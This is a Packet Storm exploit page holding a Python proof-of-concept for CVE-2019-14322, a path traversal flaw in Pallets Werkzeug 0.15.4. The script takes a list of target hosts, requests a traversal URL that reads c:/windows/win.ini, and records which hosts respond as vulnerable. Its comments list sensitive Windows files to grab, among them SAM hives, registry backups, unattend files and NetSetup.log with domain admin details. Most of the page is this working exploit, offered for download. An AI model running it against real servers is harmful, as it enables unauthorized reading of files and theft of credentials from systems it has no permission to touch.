what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pallets Werkzeug 0.15.4 Path Traversal

Pallets Werkzeug 0.15.4 Path Traversal
Posted Jul 6, 2021
Authored by faisalfs10x

Proof of concept exploit for a path traversal vulnerability in Pallets Werkzeug version 0.15.4.

tags | exploit, proof of concept
advisories | CVE-2019-14322
SHA-256 | 4f5c6bd91b62008c37cb7bf8cbae42390e891388493b81718362ca9738d106b3

Pallets Werkzeug 0.15.4 Path Traversal

Change Mirror Download
#!/usr/bin/env python3
# PoC code by @faisalfs10x [https://github.com/faisalfs10x]

""" $ pip3 install colorama==0.3.3, argparse, requests, urllib3
$ python3 CVE-2019-14322.py -l list_target.txt"
"""
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests
from colorama import Fore, Back, Style, init

# Colors
red = '\033[91m'
green = '\033[92m'
white = '\033[97m'
yellow = '\033[93m'
bold = '\033[1m'
end = '\033[0m'

init(autoreset=True)

def banner_motd():
print(Fore.CYAN +Style.BRIGHT +"""

CVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s
""" % (bold, red, white, yellow, white, end))

banner_motd()

# list of sensitive files to grab in windows

# %windir%\repair\sam
# %windir%\System32\config\RegBack\SAM
# %windir%\repair\system
# %windir%\repair\software
# %windir%\repair\security
# %windir%\debug\NetSetup.log (AD domain name, DC name, internal IP, DA account)
# %windir%\iis6.log (5,6 or 7)
# %windir%\system32\logfiles\httperr\httperr1.log
# C:\sysprep.inf
# C:\sysprep\sysprep.inf
# C:\sysprep\sysprep.xml
# %windir%\Panther\Unattended.xml
# C:\inetpub\wwwroot\Web.config
# %windir%\system32\config\AppEvent.Evt (Application log)
# %windir%\system32\config\SecEvent.Evt (Security log)
# %windir%\system32\config\default.sav
# %windir%\system32\config\security.sav
# %windir%\system32\config\software.sav
# %windir%\system32\config\system.sav
# %windir%\system32\inetsrv\config\applicationHost.config
# %windir%\system32\inetsrv\config\schema\ASPNET_schema.xml
# %windir%\System32\drivers\etc\hosts (dns entries)
# %windir%\System32\drivers\etc\networks (network settings)
# %windir%\system32\config\SAM
# TLDR:
# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml
# C:/windows/system32/inetsrv/config/applicationHost.config
# C:/windows/system32/logfiles/httperr/httperr1.log
# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)
# C:/windows/system32/drivers/etc/hosts - (dns entries)
# C:/windows/system32/drivers/etc/networks - (network settings)

def check(url):

# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)
# This script reads c:/windows/win.ini as a proof of concept.
for endpoint in [
'https://{}/base_import/static/c:/windows/win.ini',
#'https://{}/web/static/c:/windows/win.ini',
#'https://{}/base/static/c:/windows/win.ini'
]:
try:

url2 = endpoint.format(url)
resp = requests.get(url2, verify=False, timeout=5)

if 'fonts' and 'files' and 'extensions' in resp.text:
print(Fore.LIGHTGREEN_EX +Style.BRIGHT +" [+] " +url2+ " : vulnerable====[+]")
with open('CVE-2019-14322_result.txt', 'a+') as output:
output.write('{}\n'.format(url2))
output.close()

else:
print(" [-] " +url+ " : not vulnerable")

except KeyboardInterrupt:
exit('User aborted!')
except:
print(" [-] " +url+ " : not vulnerable")


def main(args):

f = open(listfile, "r")
for w in f:
url = w.strip()

check(url)

if __name__ == '__main__':

try:

parser = argparse.ArgumentParser(description='CVE-2019-14322')
parser.add_argument("-l","--targetlist",required=True, help = "target list in file")
args = parser.parse_args()
listfile = args.targetlist

main(args)

except KeyboardInterrupt:
exit('User aborted!')
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close